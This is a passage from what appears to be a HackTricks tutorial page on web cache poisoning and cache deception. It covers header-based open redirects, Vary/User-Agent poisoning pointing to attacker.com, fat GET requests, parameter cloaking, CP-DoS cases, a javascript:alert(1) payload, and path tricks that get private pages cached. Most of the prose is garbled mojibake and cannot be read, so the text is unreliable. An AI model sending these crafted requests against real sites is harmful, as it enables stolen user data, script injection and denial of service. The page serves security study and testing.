рдХреЛ рдПрдХ рдбреЛрдореЗрди рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ X-Forwarded-Scheme
рдХреЛ http
рдкрд░ рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдПрдХ Open redirect рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╕рд░реНрд╡рд░ рд╕рднреА HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ HTTPS рдкрд░ рдлреЙрд░рд╡рд░реНрдб рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ X-Forwarded-Scheme
рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░ рд░рд╣рд╛ рд╣реИред рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рджреНрд╡рд╛рд░рд╛ рдкреГрд╖реНрда рдХрд╣рд╛рдБ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
рд╕реАрдорд┐рдд Vary
рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рд╢реЛрд╖рдг
рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ X-Host
рд╣реЗрдбрд░ JS рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд▓реЗрдХрд┐рди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ Vary
рд╣реЗрдбрд░ User-Agent
рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИред рддреЛ, рдЖрдкрдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ User-Agent рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдЬреЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╢ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URL рдореЗрдВ рдЕрдиреБрд░реЛрдз рдФрд░ рд╢рд░реАрд░ рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде GET рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВред рдпрджрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╢рд░реАрд░ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреИрд╢ рд╕рд░реНрд╡рд░ URL рд╕реЗ рдПрдХ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА рдЙрд╕ URL рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╢рд░реАрд░ рд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЬреИрд╕реЗ рдХрд┐ vuln рдЬреЗрдореНрд╕ рдХреЗрдЯрд▓ рдиреЗ Github рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдкрд╛рдпрд╛:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ parameters рдХреЛ ruby рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ ;
рдЕрдХреНрд╖рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ &
рдХреЗ рдмрдЬрд╛рдп рдЕрд▓рдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд┐рдирд╛ рдХреБрдВрдЬреА рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдорд╛рдиреЛрдВ рдХреЛ рдХреБрдВрдЬреА рд╡рд╛рд▓реЗ рдореЗрдВ рдбрд╛рд▓рдиреЗ рдФрд░ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
рдпрд╣рд╛рдВ рдЬрд╛рдиреЗрдВ рдХрд┐ рдХреИрд╕реЗ Cache Poisoning рд╣рдорд▓реЛрдВ рдХреЛ HTTP Request Smuggling рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
Automated testing for Web Cache Poisoning
Web Cache Vulnerability Scanner рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдИ рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдХреВрд▓рди рдпреЛрдЧреНрдп рд╣реИред
Example usage: wcvs -u example.com
Vulnerable Examples
Apache Traffic Server (CVE-2021-27577)
ATS рдиреЗ URL рдХреЗ рдЕрдВрджрд░ рдлрд╝реНрд░реИрдЧрдореЗрдВрдЯ рдХреЛ рдмрд┐рдирд╛ рд╣рдЯрд╛рдП рдЖрдЧреЗ рдмрдврд╝рд╛рдпрд╛ рдФрд░ рдХреЗрд╡рд▓ рд╣реЛрд╕реНрдЯ, рдкрде рдФрд░ рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╢ рдХреБрдВрдЬреА рдЙрддреНрдкрдиреНрди рдХреА (рдлрд╝реНрд░реИрдЧрдореЗрдВрдЯ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддреЗ рд╣реБрдП)ред рдЗрд╕рд▓рд┐рдП рдЕрдиреБрд░реЛрдз /#/../?r=javascript:alert(1)
рдХреЛ рдмреИрдХрдПрдВрдб рдкрд░ /#/../?r=javascript:alert(1)
рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдФрд░ рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рдЗрд╕рдХрд╛ рдкреЗрд▓реЛрдб рдирд╣реАрдВ рдерд╛, рдХреЗрд╡рд▓ рд╣реЛрд╕реНрдЯ, рдкрде рдФрд░ рдХреНрд╡реЗрд░реАред
GitHub CP-DoS
рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рд╣реЗрдбрд░ рдореЗрдВ рдПрдХ рдЦрд░рд╛рдм рдорд╛рди рднреЗрдЬрдиреЗ рд╕реЗ 405 рдХреИрд╢реНрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рд╣реБрдИред рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рдХреБрдХреА рд╢рд╛рдорд┐рд▓ рдереА, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред
GitLab + GCP CP-DoS
GitLab рд╕реНрдерд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP рдмрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред GCP Buckets рд╣реЗрдбрд░ x-http-method-override
рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рдВрднрд╡ рдерд╛ рдХрд┐ рд╣реЗрдбрд░ x-http-method-override: HEAD
рднреЗрдЬрд╛ рдЬрд╛рдП рдФрд░ рдХреИрд╢ рдХреЛ рдЦрд╛рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╖рд╛рдХреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ PURGE
рд╡рд┐рдзрд┐ рдХрд╛ рднреА рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддрд╛ рдерд╛ред
Rack Middleware (Ruby on Rails)
Ruby on Rails рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ, Rack рдорд┐рдбрд▓рд╡реЗрдпрд░ рдХрд╛ рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Rack рдХреЛрдб рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп x-forwarded-scheme
рд╣реЗрдбрд░ рдХреЗ рдорд╛рди рдХреЛ рд▓реЗрдирд╛ рдФрд░ рдЗрд╕реЗ рдЕрдиреБрд░реЛрдз рдХреА рдпреЛрдЬрдирд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред рдЬрдм рд╣реЗрдбрд░ x-forwarded-scheme: http
рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕реА рд╕реНрдерд╛рди рдкрд░ 301 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ рд╕реЗ рдЗрдирдХрд╛рд░ (DoS) рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдЕрдиреБрдкреНрд░рдпреЛрдЧ X-forwarded-host
рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдпрддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ JavaScript рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
403 and Storage Buckets
Cloudflare рдиреЗ рдкрд╣рд▓реЗ 403 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрд╢ рдХрд┐рдпрд╛ рдерд╛ред рдЧрд▓рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде S3 рдпрд╛ Azure Storage Blobs рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ 403 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рдереА рдЬреЛ рдХреИрд╢ рд╣реЛ рдЬрд╛рддреА рдереАред рд╣рд╛рд▓рд╛рдВрдХрд┐ Cloudflare рдиреЗ 403 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрд╢ рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреНрдп рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
Injecting Keyed Parameters
рдХреИрд╢ рдЕрдХреНрд╕рд░ рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ GET рдкреИрд░рд╛рдореАрдЯрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Fastly рдХрд╛ Varnish рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ size
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ URL-encoded рд╕рдВрд╕реНрдХрд░рдг (рдЬреИрд╕реЗ, siz%65
) рднреА рдПрдХ рдЧрд▓рдд рдорд╛рди рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЧрдпрд╛, рддреЛ рдХреИрд╢ рдХреБрдВрдЬреА рд╕рд╣реА size
рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдИ рдЬрд╛рдПрдЧреАред рдлрд┐рд░ рднреА, рдмреИрдХрдПрдВрдб URL-encoded рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдорд╛рди рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ size
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ URL-encode рдХрд░рдиреЗ рд╕реЗ рдЗрд╕реЗ рдХреИрд╢ рджреНрд╡рд╛рд░рд╛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд▓реЗрдХрд┐рди рдмреИрдХрдПрдВрдб рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ 0 рдХрд╛ рдорд╛рди рдЕрд╕рд╛рдЗрди рдХрд░рдиреЗ рд╕реЗ рдХреИрд╢реЗрдмрд▓ 400 Bad Request рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рд╣реБрдИред
User Agent Rules
рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЙрдЪреНрдЪ-рдЯреНрд░реИрдлрд╝рд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рдЬреИрд╕реЗ FFUF рдпрд╛ Nuclei рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рд▓реЛрдб рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд╡рд┐рдбрдВрдмрдирд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдФрд░ DoS рдЬреИрд╕реА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
Illegal Header Fields
RFC7230 рд╣реЗрдбрд░ рдирд╛рдореЛрдВ рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░реНрдп рд╡рд░реНрдгреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдирд┐рд░реНрджрд┐рд╖реНрдЯ tchar рд░реЗрдВрдЬ рдХреЗ рдмрд╛рд╣рд░ рд╡рд░реНрдгреЛрдВ рд╡рд╛рд▓реЗ рд╣реЗрдбрд░ рдХреЛ рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ 400 Bad Request рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреА рдЪрд╛рд╣рд┐рдПред рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рд╕рд░реНрд╡рд░ рд╣рдореЗрд╢рд╛ рдЗрд╕ рдорд╛рдирдХ рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг Akamai рд╣реИ, рдЬреЛ рдЕрд╡реИрдз рд╡рд░реНрдгреЛрдВ рд╡рд╛рд▓реЗ рд╣реЗрдбрд░ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА рднреА 400 рддреНрд░реБрдЯрд┐ рдХреЛ рдХреИрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬрдм рддрдХ рдХрд┐ cache-control
рд╣реЗрдбрд░ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред рдПрдХ exploitable рдкреИрдЯрд░реНрди рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рдерд╛ рдЬрд╣рд╛рдВ рдЕрд╡реИрдз рд╡рд░реНрдг рдЬреИрд╕реЗ \
рд╡рд╛рд▓рд╛ рд╣реЗрдбрд░ рднреЗрдЬрдиреЗ рд╕реЗ рдХреИрд╢реЗрдмрд▓ 400 Bad Request рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Cache Deception рдХрд╛ рд▓рдХреНрд╖реНрдп рд╣реИ рдХрд┐ рдЧреНрд░рд╛рд╣рдХ рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ рдХреИрд╢ рджреНрд╡рд╛рд░рд╛ рдЙрдирдХреЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рд╕рд╣реЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╣реИрдВред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ extensions рдЬреИрд╕реЗ .css
, .js
, .png
рдЖрджрд┐ рдЖрдорддреМрд░ рдкрд░ рд╕рд╣реЗрдЬреЗ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк www.example.com/profile.php/nonexistent.js
рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ, рддреЛ рдХреИрд╢ рд╢рд╛рдпрдж рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд╣реЗрдЬ рд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ .js
extension рдХреЛ рджреЗрдЦрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди, рдпрджрд┐ application www.example.com/profile.php рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд sensitive рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде replaying рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдЙрди рд╕рд╛рдордЧреНрд░рд┐рдпреЛрдВ рдХреЛ рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдЪреАрдЬреЗрдВ:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- рдХрдо рдЬреНрдЮрд╛рдд рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬреИрд╕реЗ
.avif
рдПрдХ рдФрд░ рдмрд╣реБрдд рд╕реНрдкрд╖реНрдЯ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: https://hackerone.com/reports/593712.
рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк http://www.example.com/home.php/non-existent.css рдЬреИрд╕реА рдЧреИрд░-рдореМрдЬреВрдж рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рддреЛ http://www.example.com/home.php (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде) рдХреА рд╕рд╛рдордЧреНрд░реА рд▓реМрдЯрд╛рдИ рдЬрд╛рдПрдЧреА рдФрд░ рдХреИрд╢ рд╕рд░реНрд╡рд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рд╕рд╣реЗрдЬ рд▓реЗрдЧрд╛ред
рдлрд┐рд░, attacker рдЕрдкрдиреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ http://www.example.com/home.php/non-existent.css рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкрд╣рд▓реЗ рдкрд╣реБрдБрдЪрдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА confidential information рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ cache proxy рдХреЛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ extension рдХреЗ рдЖрдзрд╛рд░ рдкрд░ cache рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП (.css) рдФрд░ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдирд╣реАрдВред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ http://www.example.com/home.php/non-existent.css рдХрд╛ text/html
рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рд╣реЛрдЧрд╛ рди рдХрд┐ .css рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдЕрдкреЗрдХреНрд╖рд┐рдд text/css
mime рдкреНрд░рдХрд╛рд░ред
рдпрд╣рд╛рдВ рдЬрд╛рдиреЗрдВ рдХрд┐ рдХреИрд╕реЗ Cache Deceptions рд╣рдорд▓реЛрдВ рдХреЛ HTTP Request Smuggling рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
Automatic Tools
- toxicache: URLs рдХреА рдПрдХ рд╕реВрдЪреА рдореЗрдВ рд╡реЗрдм рдХреИрд╢ рдкреЙрдЗрдЬрд╝рдирд┐рдВрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдФрд░ рдХрдИ рдЗрдВрдЬреЗрдХреНрд╢рди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Golang рд╕реНрдХреИрдирд░ред
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.